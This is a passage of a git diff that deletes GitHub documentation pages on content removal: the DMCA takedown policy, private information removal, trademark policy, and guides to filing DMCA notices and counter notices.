restrictions against sharing unauthorized product licensing keys, software for generating unauthorized product licensing keys, or software for bypassing checks for product licensing keys. Although these types of claims may also violate the DMCA provisions on circumvention technology, these are typically straightforward and do not warrant additional technical and legal review. Nonetheless, where a claim is not straightforward, for example in the case of jailbreaks, the circumvention technology claim review process would apply. - -When GitHub processes a DMCA takedown under our circumvention technology claim review process, we will offer the repository owner a referral to receive independent legal consultation through [GitHub’s Developer Defense Fund](https://github.blog/2021-07-27-github-developer-rights-fellowship-stanford-law-school/) at no cost to them. - -## D. What If I Inadvertently Missed the Window to Make Changes? - -We recognize that there are many valid reasons that you may not be able to make changes within the window of approximately 1 business day we provide before your repository gets disabled. Maybe our message got flagged as spam, maybe you were on vacation, maybe you don't check that email account regularly, or maybe you were just busy. We get it. If you respond to let us know that you would have liked to make the changes, but somehow missed the first opportunity, we will re-enable the repository one additional time for approximately 1 business day to allow you to make the changes. Again, you must notify us that you have made the changes in order to keep the repository enabled after that window of approximately 1 business day, as noted above in [Step A.4](#a-how-does-this-actually-work). Please note that we will only provide this one additional chance. - -## E. Transparency - -We believe that transparency is a virtue. The public should know what content is being removed from GitHub and why. An informed public can notice and surface potential issues that would otherwise go unnoticed in an opaque system. We post redacted copies of any legal notices we receive (including original notices, counter notices or retractions) at . We will not publicly publish your personal contact information; we will remove personal information (except for usernames in URLs) before publishing notices. We will not, however, redact any other information from your notice unless you specifically ask us to. Here are some examples of a published [notice](https://github.com/github/dmca/blob/master/2014/2014-05-28-Delicious-Brains.md) and [counter notice](https://github.com/github/dmca/blob/master/2014/2014-05-01-Pushwoosh-SDK-counternotice.md) for you to see what they look like. When we remove content, we will post a link to the related notice in its place. - -Please also note that, although we will not publicly publish unredacted notices, we may provide a complete unredacted copy of any notices we receive directly to any party whose rights would be affected by it. - -## F. Repeated Infringement - -It is the policy of GitHub, in appropriate circumstances and in its sole discretion, to disable and terminate the accounts of users who may infringe upon the copyrights or other intellectual property rights of GitHub or others. - -## G. Submitting Notices - -If you are ready to submit a notice or a counter notice: -* [How to Submit a DMCA Notice](/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice) -* [How to Submit a DMCA Counter Notice](/site-policy/content-removal-policies/guide-to-submitting-a-dmca-counter-notice) - -## Learn More and Speak Up - -If you poke around the Internet, it is not too hard to find commentary and criticism about the copyright system in general and the DMCA in particular. While GitHub acknowledges and appreciates the important role that the DMCA has played in promoting innovation online, we believe that the copyright laws could probably use a patch or two—if not a whole new release. In software, we are constantly improving and updating our code. Think about how much technology has changed since 1998 when the DMCA was written. Doesn't it just make sense to update these laws that apply to software? - -We don't presume to have all the answers. But if you are curious, here are a few links to scholarly articles and blog posts we have found with opinions and proposals for reform: - -* [Unintended Consequences: Twelve Years Under the DMCA](https://www.eff.org/wp/unintended-consequences-under-dmca) (Electronic Frontier Foundation) -* [Statutory Damages in Copyright Law: A Remedy in Need of Reform](https://papers.ssrn.com/sol3/papers.cfm?abstract_id=1375604) (William & Mary Law Review) -* [Is the Term of Protection of Copyright Too Long?](https://the1709blog.blogspot.com/2012/11/is-term-of-protection-of-copyright-too.html) (The 1709 Blog) -* [If We're Going to Change DMCA's 'Notice & Takedown,' Let's Focus on How Widely It's Abused](https://www.techdirt.com/articles/20140314/11350426579/if-were-going-to-change-dmcas-notice-takedown-lets-focus-how-widely-its-abused.shtml) (TechDirt) -* [Opportunities for Copyright Reform](https://www.cato-unbound.org/issues/january-2013/opportunities-copyright-reform) (Cato Unbound) -* [Fair Use Doctrine and the Digital Millennium Copyright Act: Does Fair Use Exist on the Internet Under the DMCA?](https://digitalcommons.law.scu.edu/lawreview/vol42/iss1/6/) (Santa Clara Law Review) - -GitHub doesn't necessarily endorse any of the viewpoints in those articles. We provide the links to encourage you to learn more, form your own opinions, and then reach out to your elected representative(s) (e.g., in the [U.S. Congress](https://www.govtrack.us/congress/members) or [E.U. Parliament](https://www.europarl.europa.eu/meps/en/home)) to seek whatever changes you think should be made. diff --git a/content/site-policy/content-removal-policies/github-private-information-removal-policy.md b/content/site-policy/content-removal-policies/github-private-information-removal-policy.md deleted file mode 100644 index 5412a7c9f384..000000000000 --- a/content/site-policy/content-removal-policies/github-private-information-removal-policy.md +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: GitHub Private Information Removal Policy -redirect_from: - - /articles/github-sensitive-data-removal-policy - - /github/site-policy/github-sensitive-data-removal-policy - - /github/site-policy/github-private-information-removal-policy -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -We offer this private information removal process as an exceptional service only for high-risk content that violates [GitHub's Terms of Service](/site-policy/acceptable-use-policies/github-acceptable-use-policies#3-conduct-restrictions), such as when your security is at risk from exposed access credentials. This guide describes the information GitHub needs from you in order to process a request to remove private information from a repository. - -## What is Private Information? - -For the purposes of this document, “private information” refers to content that (i) should have been kept confidential, _and_ (ii) whose public availability poses a specific or targeted security risk to you or your organization. - -"Security risk" refers to a situation involving exposure to physical danger, identity theft, or increased likelihood of unauthorized access to physical or network facilities. - -### Private information removal requests are appropriate for: - -* Access credentials, such as user names combined with passwords, access tokens, or other sensitive secrets that can grant access to your organization's server, network, or domain. -* AWS tokens and other similar access credentials that grant access to a third party on your behalf. You must be able to show that the token does belong to you. -* Documentation (such as network diagrams or architecture) that poses a specific security risk for an organization. -* [Information](/site-policy/acceptable-use-policies/github-doxxing-and-invasion-of-privacy) related to, and posing a security risk to, you as an individual (such as social security numbers or other government identification numbers). - -### Private information removal requests are _not_ appropriate for: - -* Internal server names, IP addresses, and URLs, on their own. You must be able to show that their use in a particular file or piece of code poses a security threat. -* Mere mentions of your company's identity, name, brand, domain name, or other references to your company in files on GitHub. You must be able to articulate why a use of your company's identity is a threat to your company's security posture. -* Entire files or repositories that do not pose a specific security risk, but you believe are otherwise objectionable. -* Requests to remove content that may infringe your or your organization's copyright rights. If you have questions about how GitHub handles copyright-related matters or would like to report potentially infringing content, please review our [DMCA Takedown Policy](/site-policy/content-removal-policies/dmca-takedown-policy). The private information removal process is generally not intended for the removal of full files or repositories — only for the specific pieces of private information in those files. While there may be cases where files are filled entirely with private information, you must justify the security risk for the removal of such files, and this may increase the time required to process your request. -* Trademark disputes. If you have questions about how GitHub handles trademark-related matters or would like to report content containing your organization's trade or service marks, please review our [Trademark Policy](/site-policy/content-removal-policies/github-trademark-policy). -* Privacy complaints. If you wish to access, transfer, change, or delete your personal information on GitHub, please contact us via [our Privacy contact form](https://github.com/contact/privacy). -* Content governed by our [Community Guidelines](/site-policy/github-terms/github-community-guidelines), such as malware or general-purpose tools. If you have questions about our Community Guidelines or believe that content on GitHub might violate our guidelines, you can contact us through the {% data variables.contact.contact_support_portal %} to report content. - -## Things to Know - -**Ask Nicely First.** A great first step before sending us a request to remove data is to try contacting the user directly. They may have listed contact information on their public profile page or in the repository's README or Support file, or you could get in touch by creating an issue or pull request in the repository. This is not strictly required, but it is appreciated. - -**No Bots.** You should have a trained professional evaluate the facts of every request you send. If you're outsourcing your efforts to a third party, make sure you know how they operate, and make sure they are not using automated bots to submit complaints in bulk. These complaints often include data that does not pose any security threats, and they do not include sufficient explanations, requiring additional back-and-forth and resulting in delays, even when the complaint is valid. - -**Send In The Correct Request.** As noted above, we offer this private information removal process as an exceptional service only for high-risk content. We are not able to use this process to remove other kinds of content, such as potentially infringing content, and we are not able to process any other kinds of removal requests simultaneously while processing private information removal requests. We will be able to help you more quickly if you send in your private information removal requests separately from any requests to remove potentially infringing content. If you are unsure whether your request involves only private information or also involves other legal matters, please consult legal counsel. - -**Processing Time.** While we do process private information removal requests as quickly as possible, due to the volume of requests we process, it may take some time for your request to be reviewed. Additional requests, or multiple requests from additional points of contact, may result in delays. - -## How Does This Actually Work? - -1. **Complainant Investigates.** It is up to the requesting party to conduct their own investigation and to provide us with the [details we require](#your-request-must-include) — most importantly, an explanation of how the data poses a security risk. GitHub is not in a position to search for or make initial determinations about private information on any individual's or organization's behalf. - -1. **Complainant Sends a Private Information Removal Request.** After conducting an investigation, the complainant prepares and [sends a private information removal request](#sending-a-private-information-removal-request) to GitHub. If the request is not sufficiently detailed to demonstrate the security risk and for GitHub to locate the data, we will reply and ask for more information. - -1. **GitHub Asks User to Make Changes.** In most cases, we will contact the user who created the repository and give them an opportunity to delete or modify the private information specified in the request or to dispute the claim. - -1. **User Notifies GitHub of Changes.** If the user chooses to make the specified changes, they must tell us so within the window of time they've been allowed. If they don't, we will disable the repository. If the user notifies us that they made changes, we will verify that the changes have been made and notify the complainant. - - OR - -1. **User May Dispute the Request.** If a user believes the content in question is not private information subject to this Policy, they may dispute it. If they do, we will generally leave it up to the complainant to contact the user and work things out with them directly, within reason. - -1. **Complainant Reviews Changes.** If the user makes changes, the complainant must review them. If the changes are insufficient, the complainant must provide GitHub with details explaining why. GitHub may disable the repository or give the user an additional chance to make the changes. - -1. **User May Request an Additional Window to Make Changes.** If the user missed their opportunity to remove the private information specified in the notice, we may allow them an additional window of approximately 1 business day, upon request, to make those changes. In that event, GitHub will notify the complainant. - -### What About Forks? (or What's a Fork?) - -One of the best features of GitHub is the ability for users to "fork" one another's repositories. What does that mean? In essence, it means that users can make a copy of a project on GitHub into their own repositories. As the license or the law allows, users can then make changes to that fork to either push back to the main project or just keep as their own variation of a project. Each of these copies is a [AUTOTITLE](/get-started/learning-about-github/github-glossary#fork) of the original repository, which in turn may also be called the "parent" of the fork. - -GitHub will not automatically disable forks when disabling a parent repository. This is because forks belong to different users and may have been altered in significant ways. GitHub does not conduct any independent investigation into forks. We expect those sending private information removal requests to conduct that investigation and, if they believe that the forks also contain private information, expressly include forks in their request. - -If at the time that you submitted your notice, you identified all existing forks of that repository, we would process a valid claim against all forks in that network at the time we process the notice. We would do this given the likelihood that all newly created forks would contain the same content. In addition, if the reported network that contains the reported content is larger than one hundred (100) repositories and thus would be difficult to review in its entirety, we may consider disabling the entire network if you state in your notice that, based on the representative number of forks you have reviewed, you believe that all or most of the forks contain the content reported in the parent repository. - -## Sending A Private Information Removal Request - -Due to the type of content GitHub hosts (mostly software code) and the way that content is managed (with Git), we need complaints to be as specific as possible. In order for us to verify that a user has removed reported private information completely, we need to know exactly where to look. - -These guidelines are designed to make the processing of requests to remove private information as straightforward as possible. - -### Your Request Must Include: - -1. A working, clickable link to each file containing private information. (Note that we're not able to work from search results, examples, or screenshots.) -1. Specific line numbers within each file containing the private information. -1. A brief description of how each item you've identified poses a security risk to you or your organization. ***It is important that you provide an explanation of how the data poses a security risk beyond merely stating that it does.*** -1. If you are a third party acting as an agent for an organization facing a security risk, include a statement that you have a legal right to act on behalf of that organization. -1. OPTIONAL: Let us know if your request is particularly urgent, and why. We respond to all private information removal requests as quickly as possible. However, if this request is especially time-sensitive, such as a very recent credential exposure, please explain why. - -## How to Submit Your Request - -You can submit your request to remove private information via our [contact form](https://support.github.com/contact?tags=docs-private-information). Please include a plain-text version of your request in the body of your message. Sending your request in an attachment may result in processing delays. - -## Disputes - -If you received a private information removal request from us, you can dispute it by replying to our email and letting us know — in as much detail as possible — why you think the content in question is not private information subject to this Policy. diff --git a/content/site-policy/content-removal-policies/github-trademark-policy.md b/content/site-policy/content-removal-policies/github-trademark-policy.md deleted file mode 100644 index c4a2d6c9a3f5..000000000000 --- a/content/site-policy/content-removal-policies/github-trademark-policy.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: GitHub Trademark Policy -redirect_from: - - /articles/github-trademark-policy - - /github/site-policy/github-trademark-policy -versions: - fpt: '*' -topics: - - Policy - - Legal ---- -## What is a GitHub Trademark Policy Violation? - -Using a company or business name, logo, or other trademark-protected materials in a manner that may mislead or confuse others with regard to its brand or business affiliation may be considered a trademark policy violation. - -## What is not a GitHub Trademark Policy Violation? - -Using another's trademark in a way that has nothing to do with the product or service for which the trademark was granted is not a trademark policy violation. GitHub user names are available on a first come, first served basis and may not be reserved. A GitHub account with a user name that happens to be the same as a registered trademark is not, by itself, necessarily a violation of our trademark policy. - -## How Does GitHub Respond To Reported Trademark Policy Violations? - -When we receive reports of trademark policy violations from holders of federal or international trademark registrations, we review the account and may take the following actions: - -* When there is a clear intent to mislead others through the unauthorized use of a trademark, GitHub will suspend the account and notify the account holder. -* When we determine that an account appears to be confusing users, but is not purposefully passing itself off as the trademarked good or service, we give the account holder an opportunity to clear up any potential confusion. We may also release a username for the trademark holder's active use. - -## How Do I Report a Trademark Policy Violation? - -Holders of registered trademarks can report possible trademark policy violations to GitHub via [Submit a Trademark Policy Violation Report](https://support.github.com/contact/trademark-policy). Please use the contact form and submit trademark-related requests using your company email address and include all the information requested below to help expedite our response. Also be sure to clearly describe to us why the account may cause confusion with your mark or how the account may dilute or tarnish your mark. - -## What Information is Required When Reporting Trademark Policy Violations? - -In order to investigate trademark policy violations, please provide all of the following information: - -* Username of the reported account -* Your company name -* Your company GitHub account (if there is one) -* Company website -* Your trademarked word, symbol, etc. -* Trademark registration number -* Trademark registration office (e.g., USPTO) -* Description of confusion (e.g., passing off as your company, including specific descriptions of content or behavior) -* Requested Action (e.g., removal of violating account or transfer of trademarked username to an existing company account) -* Include the following statement: "I have a good faith belief that use of the trademark described above is not authorized by the trademark owner, or its agent, or the law. I have taken nominative and other fair uses into consideration." -* Also include the following statement: "I swear, under penalty of perjury, that the information in this notification is accurate and that I am the trademark owner, or am authorized to act on behalf of the owner, of an exclusive right that is allegedly infringed." -* Include your physical or electronic signature. - -* Note: A federal or international trademark registration number is required. If the name you are reporting is **not** a registered mark (e.g., a government agency or non-profit organization), please let us know: - * Your first and last name - * Title - * Address - * Phone - * Email (must be from company domain) diff --git a/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-counter-notice.md b/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-counter-notice.md deleted file mode 100644 index 5300fdac4085..000000000000 --- a/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-counter-notice.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Guide to Submitting a DMCA Counter Notice -redirect_from: - - /dmca-counter-notice-how-to - - /articles/dmca-counter-notice-how-to - - /articles/guide-to-submitting-a-dmca-counter-notice - - /github/site-policy/guide-to-submitting-a-dmca-counter-notice -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -This guide describes the information that GitHub needs in order to process a counter notice to a DMCA takedown request. If you have more general questions about what the DMCA is or how GitHub processes DMCA takedown requests, please review our [DMCA Takedown Policy](/site-policy/content-removal-policies/dmca-takedown-policy). - -If you believe your content on GitHub was mistakenly disabled by a DMCA takedown request, you have the right to contest the takedown by submitting a counter notice. If you do, we will wait 10-14 days and then re-enable your content unless the copyright owner initiates a legal action against you before then. Our counter-notice form, set forth below, is consistent with the form suggested by the DMCA statute, which can be found at the U.S. Copyright Office's official website: . - -As with all legal matters, it is always best to consult with a professional about your specific questions or situation. We strongly encourage you to do so before taking any action that might impact your rights. This guide isn't legal advice and shouldn't be taken as such. - -## Before You Start - -***Tell the Truth.*** -The DMCA requires that you swear to your counter notice _under penalty of perjury_. It is a federal crime to intentionally lie in a sworn declaration. (_See_ [U.S. Code, Title 18, Section 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm).) Submitting false information could also result in civil liability—that is, you could get sued for money damages. - -***Investigate.*** -Submitting a DMCA counter notice can have real legal consequences. If the complaining party disagrees that their takedown notice was mistaken, they might decide to file a lawsuit against you to keep the content disabled. You should conduct a thorough investigation into the allegations made in the takedown notice and probably talk to a lawyer before submitting a counter notice. - -***You Must Have a Good Reason to Submit a Counter Notice.*** -In order to file a counter notice, you must have "a good faith belief that the material was removed or disabled as a result of mistake or misidentification of the material to be removed or disabled." ([U.S. Code, Title 17, Section 512(g)](https://www.copyright.gov/title17/92chap5.html#512).) Whether you decide to explain why you believe there was a mistake is up to you and your lawyer, but you _do_ need to identify a mistake before you submit a counter notice. In the past, we have received counter notices citing mistakes in the takedown notice such as: the complaining party doesn't have the copyright; I have a license; the code has been released under an open-source license that permits my use; or the complaint doesn't account for the fact that my use is protected by the fair-use doctrine. Of course, there could be other defects with the takedown notice. - -***Copyright Laws Are Complicated.*** -Sometimes a takedown notice might allege infringement in a way that seems odd or indirect. Copyright laws are complicated and can lead to some unexpected results. In some cases a takedown notice might allege that your source code infringes because of what it can do after it is compiled and run. For example: - * The notice may claim that your software is used to [circumvent access controls](https://www.copyright.gov/title17/92chap12.html) to copyrighted works. - * [Sometimes](https://www.copyright.gov/docs/mgm/) distributing software can be copyright infringement, if you induce end users to use the software to infringe copyrighted works. - * A copyright complaint might also be based on [non-literal copying](https://en.wikipedia.org/wiki/Substantial_similarity) of design elements in the software, rather than the source code itself — in other words, someone has sent a notice saying they think your _design_ looks too similar to theirs. - -These are just a few examples of the complexities of copyright law. Since there are many nuances to the law and some unsettled questions in these types of cases, it is especially important to get professional advice if the infringement allegations do not seem straightforward. - -***A Counter Notice Is A Legal Statement.*** -We require you to fill out all fields of a counter notice completely, because a counter notice is a legal statement — not just to us, but to the complaining party. As we mentioned above, if the complaining party wishes to keep the content disabled after receiving a counter notice, they will need to initiate a legal action seeking a court order to restrain you from engaging in infringing activity relating to the content on GitHub. In other words, you might get sued (and you consent to that in the counter notice). - -***Your Counter Notice Will Be Published.*** -As noted in our [DMCA Takedown Policy](/site-policy/content-removal-policies/dmca-takedown-policy#d-transparency), **after redacting personal information,** we publish all complete and actionable counter notices at . Please also note that, although we will only publicly publish redacted notices, we may provide a complete unredacted copy of any notices we receive directly to any party whose rights would be affected by it. If you are concerned about your privacy, you may have a lawyer or other legal representative file the counter notice on your behalf. - -***GitHub Isn't The Judge.*** -GitHub exercises little discretion in this process other than determining whether the notices meet the minimum requirements of the DMCA. It is up to the parties (and their lawyers) to evaluate the merit of their claims, bearing in mind that notices must be made under penalty of perjury. - -***Additional Resources.*** -If you need additional help, there are many self-help resources online. Lumen has an informative set of guides on [copyright](https://www.lumendatabase.org/topics/5) and [DMCA safe harbor](https://www.lumendatabase.org/topics/14). If you are involved with an open-source project in need of legal advice, you can contact the [Software Freedom Law Center](https://www.softwarefreedom.org/about/contact/). And if you think you have a particularly challenging case, non-profit organizations such as the [Electronic Frontier Foundation](https://www.eff.org/pages/legal-assistance) may also be willing to help directly or refer you to a lawyer. - -## Your Counter Notice Must... - -1. **Include the following statement: "I have read and understand GitHub's Guide to Filing a DMCA Counter Notice."** -We won't refuse to process an otherwise complete counter notice if you don't include this statement; however, we will know that you haven't read these guidelines and may ask you to go back and do so. - -1. ***Identify the content that was disabled and the location where it appeared.*** -The disabled content should have been identified by URL in the takedown notice. You simply need to copy the URL(s) that you want to challenge. - -1. **Provide your contact information.** -Include your email address, name, telephone number, and physical address. - -1. ***Include the following statement: "I swear, under penalty of perjury, that I have a good-faith belief that the material was removed or disabled as a result of a mistake or misidentification of the material to be removed or disabled."*** -You may also choose to communicate the reasons why you believe there was a mistake or misidentification. If you think of your counter notice as a "note" to the complaining party, this is a chance to explain why they should not take the next step and file a lawsuit in response. This is yet another reason to work with a lawyer when submitting a counter notice. - -1. ***Include the following statement: "I consent to the jurisdiction of Federal District Court for the judicial district in which my address is located (if in the United States, otherwise the Northern District of California where GitHub is located), and I will accept service of process from the person who provided the DMCA notification or an agent of such person."*** - -1. **Include your physical or electronic signature.** - -## How to Submit Your Counter Notice - -The fastest way to get a response is to enter your information and answer all the questions on our {% data variables.contact.contact_dmca %}. - -You can also send an email notification to . You may include an attachment if you like, but please also include a plain-text version of your letter in the body of your message. - -If you must send your notice by physical mail, you can do that too, but it will take _substantially_ longer for us to receive and respond to it—and the 10-14 day waiting period starts from when we _receive_ your counter notice. Notices we receive via plain-text email have a much faster turnaround than PDF attachments or physical mail. If you still wish to mail us your notice, our physical address is: - -```text -GitHub, Inc -Attn: DMCA Agent -88 Colin P Kelly Jr St -San Francisco, CA. 94107 -``` diff --git a/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice.md b/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice.md deleted file mode 100644 index 7a680023c374..000000000000 --- a/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice.md +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Guide to Submitting a DMCA Takedown Notice -redirect_from: - - /dmca-notice-how-to - - /articles/dmca-notice-how-to - - /articles/guide-to-submitting-a-dmca-takedown-notice - - /github/site-policy/guide-to-submitting-a-dmca-takedown-notice -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -This guide describes the information that GitHub needs in order to process a DMCA takedown request. If you have more general questions about what the DMCA is or how GitHub processes DMCA takedown requests, please review our [DMCA Takedown Policy](/site-policy/content-removal-policies/dmca-takedown-policy). - -Due to the type of content GitHub hosts (mostly software code) and the way that content is managed (with Git), we need complaints to be as specific as possible. These guidelines are designed to make the processing of alleged infringement notices as straightforward as possible. Our form of notice set forth below is consistent with the form suggested by the DMCA statute, which can be found at the U.S. Copyright Office's official website: . - -As with all legal matters, it is always best to consult with a professional about your specific questions or situation. We strongly encourage you to do so before taking any action that might impact your rights. This guide isn't legal advice and shouldn't be taken as such. - -## Before You Start - -***Tell the Truth.*** The DMCA requires that you swear to the facts in your copyright complaint _under penalty of perjury_. It is a federal crime to intentionally lie in a sworn declaration. (_See_ [U.S. Code, Title 18, Section 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm).) Submitting false information could also result in civil liability — that is, you could get sued for money damages. The DMCA itself [provides for damages](https://en.wikipedia.org/wiki/Online_Copyright_Infringement_Liability_Limitation_Act#%C2%A7_512(f)_Misrepresentations) against any person who knowingly materially misrepresents that material or activity is infringing. - -***Investigate.*** Millions of users and organizations pour their hearts and souls into the projects they create and contribute to on GitHub. Filing a DMCA complaint against such a project is a serious legal allegation that carries real consequences for real people. Because of that, we ask that you conduct a thorough investigation and consult with an attorney before submitting a takedown to make sure that the use isn't actually permissible. - -***Ask Nicely First.*** A great first step before sending us a takedown notice is to try contacting the user directly. They may have listed contact information on their public profile page or in the repository's README, or you could get in touch by opening an issue or pull request on the repository. This is not strictly required, but it is classy. - -***Send In The Correct Request.*** We can only accept DMCA takedown notices for works that are protected by copyright, and that identify a specific copyrightable work. If you have a complaint about trademark abuse, please see our [trademark policy](/site-policy/content-removal-policies/github-trademark-policy). If you wish to remove sensitive data such as passwords, please see our [policy on sensitive data](/site-policy/content-removal-policies/github-private-information-removal-policy). If you are dealing with defamation or other abusive behavior, please see our [Community Guidelines](/site-policy/github-terms/github-community-guidelines). - -***Code Is Different From Other Creative Content.*** GitHub is built for collaboration on software code. This makes identifying a valid copyright infringement more complicated than it might otherwise be for, say, photos, music, or videos. - -There are a number of reasons why code is different from other creative content. For instance: - -* A repository may include bits and pieces of code from many different people, but only one file or even a sub-routine within a file infringes your copyrights. -* Code mixes functionality with creative expression, but copyright only protects the expressive elements, not the parts that are functional. -* There are often licenses to consider. Just because a piece of code has a copyright notice does not necessarily mean that it is infringing. It is possible that the code is being used in accordance with an open-source license. -* A particular use may be [fair-use](https://www.lumendatabase.org/topics/22) if it only uses a small amount of copyrighted content, uses that content in a transformative way, uses it for educational purposes, or some combination of the above. Because code naturally lends itself to such uses, each use case is different and must be considered separately. -* Code may be alleged to infringe in many different ways, requiring detailed explanations and identifications of works. - -This list isn't exhaustive, which is why speaking to a legal professional about your proposed complaint is doubly important when dealing with code. - -***No Bots.*** You should have a trained professional evaluate the facts of every takedown notice you send. If you are outsourcing your efforts to a third party, make sure you know how they operate, and make sure they are not using automated bots to submit complaints in bulk. These complaints are often invalid and processing them results in needlessly taking down projects! - -***Matters of Copyright Are Hard.*** It can be very difficult to determine whether or not a particular work is protected by copyright. For example, facts (including data) are generally not copyrightable. Words and short phrases are generally not copyrightable. URLs and domain names are generally not copyrightable. Since you can only use the DMCA process to target content that is protected by copyright, you should speak with a lawyer if you have questions about whether or not your content is protectable. - -***You May Receive a Counter Notice.*** Any user affected by your takedown notice may decide to submit a [counter notice](/site-policy/content-removal-policies/guide-to-submitting-a-dmca-counter-notice). If they do, we will re-enable their content within 10-14 days unless you notify us that you have initiated a legal action seeking to restrain the user from engaging in infringing activity relating to the content on GitHub. - -***Your Complaint Will Be Published.*** As noted in our [DMCA Takedown Policy](/site-policy/content-removal-policies/dmca-takedown-policy#d-transparency), after redacting personal information, we publish all complete and actionable takedown notices at . - -***GitHub Isn't The Judge.*** -GitHub exercises little discretion in the process other than determining whether the notices meet the minimum requirements of the DMCA. It is up to the parties (and their lawyers) to evaluate the merit of their claims, bearing in mind that notices must be made under penalty of perjury. - -## Your Complaint Must ... - -1. **Include the following statement: "I have read and understand GitHub's Guide to Filing a DMCA Notice."** We won't refuse to process an otherwise complete complaint if you don't include this statement. But we'll know that you haven't read these guidelines and may ask you to go back and do so. - -1. **Identify the copyrighted work you believe has been infringed.** This information is important because it helps the affected user evaluate your claim and give them the ability to compare your work to theirs. The specificity of your identification will depend on the nature of the work you believe has been infringed. If you have published your work, you might be able to just link back to a web page where it lives. If it is proprietary and not published, you might describe it and explain that it is proprietary. If you have registered it with the Copyright Office, you should include the registration number. If you are alleging that the hosted content is a direct, literal copy of your work, you can also just explain that fact. - -1. **Identify the material that you allege is infringing the copyrighted work listed in item #2, above.** It is important to be as specific as possible in your identification. This identification needs to be reasonably sufficient to permit GitHub to locate the material. At a minimum, this means that you should include the URL to the material allegedly infringing your copyright. If you allege that less than a whole repository infringes, identify the specific file(s) or line numbers within a file that you allege infringe. If you allege that all of the content at a URL infringes, please be explicit about that as well. - * Please note that GitHub will _not_ automatically disable [forks](/site-policy/content-removal-policies/dmca-takedown-policy#b-what-about-forks-or-whats-a-fork) when disabling a parent repository. If you have investigated and analyzed the forks of a repository and believe that they are also infringing, please explicitly identify each allegedly infringing fork. Please also confirm that you have investigated each individual case and that your sworn statements apply to each identified fork. In rare cases, you may be alleging copyright infringement in a full repository that is actively being forked. If at the time that you submitted your notice, you identified all existing forks of that repository as allegedly infringing, we would process a valid claim against all forks in that network at the time we process the notice. We would do this given the likelihood that all newly created forks would contain the same content. In addition, if the reported network that contains the allegedly infringing content is larger than one hundred (100) repositories and thus would be difficult to review in its entirety, we may consider disabling the entire network if you state in your notice that, "Based on the representative number of forks you have reviewed, I believe that all or most of the forks are infringing to the same extent as the parent repository." Your sworn statement would apply to this statement. - -1. **Explain what the affected user would need to do in order to remedy the infringement.** Again, specificity is important. When we pass your complaint along to the user, this will tell them what they need to do in order to avoid having the rest of their content disabled. Does the user just need to add a statement of attribution? Do they need to delete certain lines within their code, or entire files? Of course, we understand that in some cases, all of a user's content may be alleged to infringe and there's nothing they could do short of deleting it all. If that's the case, please make that clear as well. - -1. **Provide your contact information.** Include your email address, name, telephone number and physical address. - -1. **Provide contact information, if you know it, for the alleged infringer.** Usually this will be satisfied by providing the GitHub username associated with the allegedly infringing content. But there may be cases where you have additional knowledge about the alleged infringer. If so, please share that information with us. - -1. **Include the following statement: "I have a good faith belief that use of the copyrighted materials described above on the infringing web pages is not authorized by the copyright owner, or its agent, or the law. I have taken fair use into consideration."** - -1. **Also include the following statement: "I swear, under penalty of perjury, that the information in this notification is accurate and that I am the copyright owner, or am authorized to act on behalf of the owner, of an exclusive right that is allegedly infringed."** - -1. **Include your physical or electronic signature.** - -## Complaints about Anti-Circumvention Technology - -The Copyright Act also prohibits the circumvention of technological measures that effectively control access to works protected by copyright. If you believe that content hosted on GitHub violates this prohibition, please send us a report through our {% data variables.contact.contact_dmca %}. A circumvention claim must include the following details about the technical measures in place and the manner in which the accused project circumvents them. Specifically, the notice to GitHub must include detailed statements that describe: -1. What the technical measures are; -1. How they effectively control access to the copyrighted material; and -1. How the accused project is designed to circumvent their previously described technological protection measures. - -## How to Submit Your Complaint - -The fastest way to get a response is to enter your information and answer all the questions on our {% data variables.contact.contact_dmca %}. - -You can also send an email notification to . You may include an attachment if you like, but please also include a plain-text version of your letter in the body of your message. - -If you must send your notice by physical mail, you can do that too, but it will take _substantially_ longer for us to receive and respond to it. Notices we receive via plain-text email have a much faster turnaround than PDF attachments or physical mail. If you still wish to mail us your notice, our physical address is: - -```text -GitHub, Inc -Attn: DMCA Agent -88 Colin P Kelly Jr St -San Francisco, CA. 94107 -``` diff --git a/content/site-policy/content-removal-policies/index.md b/content/site-policy/content-removal-policies/index.md deleted file mode 100644 index 74cd4f694df9..000000000000 --- a/content/site-policy/content-removal-policies/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Content Removal Policies -versions: - fpt: '*' -topics: - - Policy - - Legal -children: - - /submitting-content-removal-requests - - /dmca-takedown-policy - - /github-private-information-removal-policy - - /github-trademark-policy - - /guide-to-submitting-a-dmca-counter-notice - - /guide-to-submitting-a-dmca-takedown-notice ---- - diff --git a/content/site-policy/content-removal-policies/submitting-content-removal-requests.md b/content/site-policy/content-removal-policies/submitting-content-removal-requests.md deleted file mode 100644 index 53701f190fb9..000000000000 --- a/content/site-policy/content-removal-policies/submitting-content-removal-requests.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Submitting content removal requests -redirect_from: - - /articles/submitting-content-removal-requests - - /github/site-policy/submitting-content-removal-requests - - /github/site-policy/github-terms-and-other-site-policies/submitting-content-removal-requests -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -We understand that copyrighted, trademarked, or private content may get published on GitHub – either accidentally or on purpose – sometimes in repositories that you do not own. Because the nature of this content varies, and because of different applicable laws, each category has its own, distinct reporting requirements outlined in our policies. - -If you'd like to request that content be removed from GitHub, please take some time to acquaint yourself with each of these policies and their respective reporting requirements before submitting a report. If we receive an incomplete report, we'll need to ask for clarifications or revisions and you’ll need to re-submit a revised report. - -Please note that we're not able to help you determine which policy is appropriate for your specific situation. If you’ve reviewed the policies below and still have questions 